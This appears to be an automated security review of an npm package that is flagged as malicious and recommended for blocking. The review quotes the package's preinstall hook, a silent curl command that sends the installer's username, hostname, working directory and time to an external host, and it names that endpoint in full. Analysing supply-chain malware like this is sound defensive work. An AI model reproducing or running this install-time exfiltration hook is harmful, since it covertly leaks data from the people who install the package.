The requests are silent and use unencrypted HTTP. - **Trigger:** Installing the package through npm, including its preinstall and postinstall phases. - **Impact:** An external party receives the installer username, hostname, project path, and installation time. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-30T00:29:16.446Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Hidden curl-based host fingerprinting and external telemetry. - **Attack narrative:** During npm installation, the package runs curl before and after installation. Each request transmits the local username, hostname, current directory, and timestamp to an external HTTP endpoint, discards output, and suppresses failure. This is unconsented install-time host fingerprinting unrelated to the placeholder runtime entrypoint. - **Rationale:** Direct inspection confirms two automatic lifecycle hooks that silently exfiltrate host and project metadata to an external endpoint. The runtime entrypoint is inert, so the harmful behavior is concentrated in installation hooks. - **Files touched:** package.json - **Network endpoints:** http://da9nfhavbsgte1dqq8fgrbb7fyfekc37i.cyowl.com/com.db.autobahn.notification-center-electron/ ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The preinstall hook sends the current username, hostname, working directory, and timestamp to an external HTTP host., The same hidden telemetry request runs again in postinstall, with failures suppressed. - **Evidence against:** The only runtime entrypoint is a placeholder message and contains no additional behavior. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts.

Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 5. High: Manifest Script Host Fingerprint Callback - **Category:** Source - **Confidence:** 94.0% - **Path:** package.json\#scripts.preinstall - **Public source:** [View source]() An npm script sends host identity through command substitution to a fixed external destination.

High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The preinstall hook sends the current username, hostname, working directory, and timestamp to an external HTTP host. Public source snippet (untrusted): ```json "preinstall": "curl -s \"http://[redacted].cyowl.com/com.db.autobahn.notification-center-electron/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true", ``` ### 7. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The same hidden telemetry request runs again in postinstall, with failures suppressed.
